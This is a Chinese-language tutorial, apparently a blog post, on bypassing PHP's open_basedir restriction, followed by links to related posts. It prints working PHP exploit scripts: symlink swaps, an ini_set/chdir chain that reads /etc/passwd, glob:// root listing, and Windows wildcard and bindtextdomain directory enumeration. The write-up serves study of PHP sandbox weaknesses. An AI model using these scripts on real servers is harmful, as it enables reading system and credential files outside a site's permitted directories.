Open_basedir绕过

一.基础知识

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,

假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的

用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是

可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

我们在wwwroot目录下创建一个html文件夹和一个文本文件1.txt

其中1.txt内容为123456

html为网站根目录,下有一个index.php和test.php

其中test.php就是我们用来测试的php文件,如下

<?php
highlight_file("../1.txt");
$file=file_get_contents('../1.txt');
echo $file;
?>

在未设置open_basedir的情况下访问结果

我们设置open_basedir

即只能访问html目录下的文件

可见,无论是file_get_contents函数还是highlight_file都无效

二.命令执行函数绕过

由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。

我们将test.php修改后

可见可以无视open_basedir,但是一般都会禁用命令执行函数,所以实用价值不大

三.软链接:symlink()函数

注意: 针对 Windows:运行 PHP 于Vista、Server 2008 或更高版本才能正常使用。 之前版本的 Windows 不支持符号连接

此次实验环境:linux Ubuntu18.04.4 php 7.1.31

我们首先尝试使用symlink创建一个软链接

目标指向html目录下的error文件夹,访问后发现生成一个链接

双击进去可以访问到如下

我们保持之前的设置不变,尝试在open_basedir设置到html目录下,读取和html文件夹平行的1.txt

我们给出漏洞php内容

<?php
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
symlink("c/d","tmplink");
symlink("tmplink/../../1.txt","exploit");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("http://localhost/exploit");
?>

运行后结果如下,可见在html下生成c/d/和tmplink以及exploit,而我们成功读取到了1.txt的内容

我们可以查看一下链接

exploit链接到的是tmplink/../../1.txt,而tmplink链接到c/d,相当于exploit链接到c/d/../../1.txt,路径在open_basedir规定的目录下,符合操作规范,之后删除了tmplink链接,创建了tmplink实体文件夹,相当于此时的exploit指向的就是tmplink/../../1.txt,也就成功读取到了1.txt

关于软链也可以有另一种做法,测试php如下

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/etc/passwd');

原理是一样的,只不过把软链改为实体文件夹的步骤换成了重构软链目标

四.glob伪协议

glob伪协议在筛选目录时不受open_basedir制约

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>

上述payload可在php5.3以上读取仅针对linux根目录的目录

五. 利用ini_set读取文件内容

我们给出漏洞利用脚本,由于漏洞原理复杂,有兴趣可以自己研究,这里就不叙述

<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>

注意这里的chdir("..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止,比如php文件的位置为/www/admin/localhost_80/wwwroot/html/下,那么就要使用五次chdir("..");

六.其他读目录方式

对于windows系统

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
//$m = imagecreatefrompng("zip.png");
//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
global $file;
if (stripos($errstr, 'Invalid font filename') === FALSE) {
printf("%s<br/>", $file);
}
}
?>

以上都是windows下的列目录方式,用到了windows下通配符<>

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

这个是linux下的方法,dir传入的参数是目录,如果目录存在,就返回目录路径,不存在就返回bool(false),用于暴力猜解目录

参考资料

https://www.jianshu.com/p/cf2cd07d02cf

https://j7ur8.github.io/WebBook/PHP/%E5%88%A9%E7%94%A8symlink%E7%BB%95%E8%BF%87open_basedir.html

https://blog.csdn.net/weixin_33810302/article/details/87981560

Open_basedir绕过的更多相关文章

  1. php open_basedir绕过

    描述 php为了安全性考虑,有一项 open_basedir 的设置,它可将用户访问文件的活动范围限制在指定的区域.根据你web服务器环境,open_basedir可以在几个地方设置. 首先 在php ...

  2. Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx

    Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...

  3. web渗透学习目录

    一,基础学习 01.基础学习 [[编码总结]] [[JSON三种数据解析方法]] [[js加密,解密]] [[Internet保留地址和非保留地址.内网和公网.VNC和UltraVN]] 代理 [[S ...

  4. php5全版本绕过open_basedir读文件脚本

    这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说 ...

  5. 绕过open_basedir读文件脚本

    绕过open_basedir读文件脚本 2016年11月13日 01:28:21 阅读数:1221 参加了一场2016年的sycsec感觉又学到不少东西 废话不多说,首先啥是open_basedir? ...

  6. LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir

    这次TCTF中一道题,给出了一个PHP一句话木马,设置了open_basedir,disable_functions包含所有执行系统命令的函数,然后目标是运行根目录下的/readflag,目标很明确, ...

  7. php绕过open_basedir设置

    原理关于open_basedir    open_basedir是php.ini中的一个配置选项    它可将用户访问文件的活动范围限制在指定的区域,    假设open_basedir=/home/ ...

  8. php-fpm(绕过open_basedir,结合ssrf)

    环境的安装->https://www.cnblogs.com/zaqzzz/p/11870489.html 1.nginx的畸形访问 因为安装的是php7.0,所以需要手动修改一下(版本低的时候 ...

  9. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

随机推荐

  1. 细说FL Studio中的Wasp合成器功能

    FL Studio 简称FL,因其Logo像水果,故国人亲切的叫他"水果"本章节采用图文结合的方式给大家讲解FL Studio中的Wasp合成器功能.感兴趣的朋友可以一起来交流哦. ...

  2. 思维导图软件iMindMap的使用方法

    从手绘的思维导图再到各种各样的思维导图的软件,思维导图的高效性大家都体会到了.思维导图软件iMindMap在众多导图软件中是最受欢迎的之一,下面就给大家分享一下思维导图怎么画: 首先我要教给大家的是如 ...

  3. 使用Folx下载任务完成后,怎么自动完成关闭

    下载工具的优点是可以通过多线程的方式,提高文件的下载速度,减少用户的下载时间.但另一方面来说,下载工具为了达到高速下载,也会占据较多的带宽资源,甚至会拖慢电脑的运行. 因此,很多用户会利用电脑的空闲时 ...

  4. iOS 默认Cell选中

    NSInteger selectIndex = [NSIndexPath indexPathForItem:0 inSection:0]; [self.ui_tableView selectRowAt ...

  5. php form表单提交时,action url中参数无效的解决方法

    表单提交时get方式的一个错误 <form class="form-inline pull-right" method="get" action=&quo ...

  6. Luogu P2656 采蘑菇

    尽管是缩点的习题,思路也是在看了题解后才明白的. 首先,每个强连通分量内的点都是一定互通的,也就是可以完全把这里面的边都跑满,摘掉所有能摘的蘑菇.那么,考虑给每一个强连通分量化为的新点一个点权,代表摘 ...

  7. Java基础教程——RunTime类

    RunTime类 java.lang.RunTime类代表Java程序的运行时环境. 可以进行垃圾回收(gc()),可以进行系统资源清理(runFinalization()): 可以加载文件(load ...

  8. B 站今日黑白页是怎么实现的?

    今天是2020年4月4日哀悼活动,不少相关站点都将网站全部变为灰色,以表示哀悼.以下为CSS代码.直接在*.css文件最前面加入. <!-- 置为灰色 --> <style type ...

  9. 【mq读书笔记】消息消费过程(钩子 失败重试 消费偏移记录)

    在https://www.cnblogs.com/lccsblog/p/12249265.html中,PullMessageService负责对消息队列进行消息拉取,从远端服务器拉取消息后将消息存入P ...

  10. Cassandra与职业发展 | 阿里云栾小凡 &#215; 蔚来汽车张旭东 &#215; 网龙阙乃祯

    # 活动精彩实录 | Cassandra与职业发展 点击此处观看完整活动录像​ 大家好,我叫邓为,我目前在DataStax担任领航架构师.我在DataStax工作了7年多的时间,也有7年多的Cassa ...